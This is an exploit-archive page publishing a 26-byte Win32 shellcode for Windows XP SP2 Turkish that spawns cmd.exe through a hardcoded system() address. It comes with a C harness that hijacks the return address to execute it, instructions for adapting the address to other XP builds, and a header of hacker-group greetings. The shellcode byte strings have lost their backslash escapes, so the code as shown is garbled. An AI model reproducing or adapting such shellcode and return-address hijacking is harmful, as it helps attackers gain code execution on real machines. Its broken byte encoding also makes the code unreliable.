[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Win32 Shellcode (cmd.exe) for XP SP2 Turkish 26 Bytes
# Published : 2010-02-10
# Author : Hellcode Research
# Previous Title : Linux bin/cat /etc/passwd 43 bytes
# Next Title : Linux x86 - polymorphic shellcode ip6tables -F - 71 bytes


/*

26 Bytes Win32 Shellcode (cmd.exe) for XP SP2 Turkish 

Author: Hellcode Research || TCC (The Computer Cheats)
http://tcc.hellcode.net
memberz: celil 'karak0rsan unuver , murderkey,  murat kaslioglu, bob

from murderkey: I love you merve lol      
from karak0rsan: fuck u "ysmn" lol || eternal love kubr4 || 
notebookumu calan hirsiz kurcalarsa l33t h4x0r olabilir ahahaha :]
merak etme mkey, en kisa zamanda giden 0dayleri tekrar toplucam ;]


Greetz: AhmetBSD aka L4M3R, GOBBLES and all blackhat community

"xc7x93xc1x77" is the system address. (0x77c193c7) 
You can change it if you use another XP. (e.g SP2 FR, SP3 Turkish etc.)
(Open MSVCRT.DLL via Dependency Walker, 
find system function's address and MSVCRT's Preferred Base address
system + preferred base = System Address ;] )


*/


#include <windows.h>
#include <winbase.h>


unsigned char hellcodenet[]=
"x8bxecx55x8bxec"
"x68x65x78x65x2F"
"x68x63x6dx64x2e"
"x8dx45xf8x50xb8"
"xc7x93xc1x77"
"xffxd0"
;

int main ()
{
int *ret;
ret=(int *)&ret+2;
(*ret)=(int)hellcodenet;
return 0;
}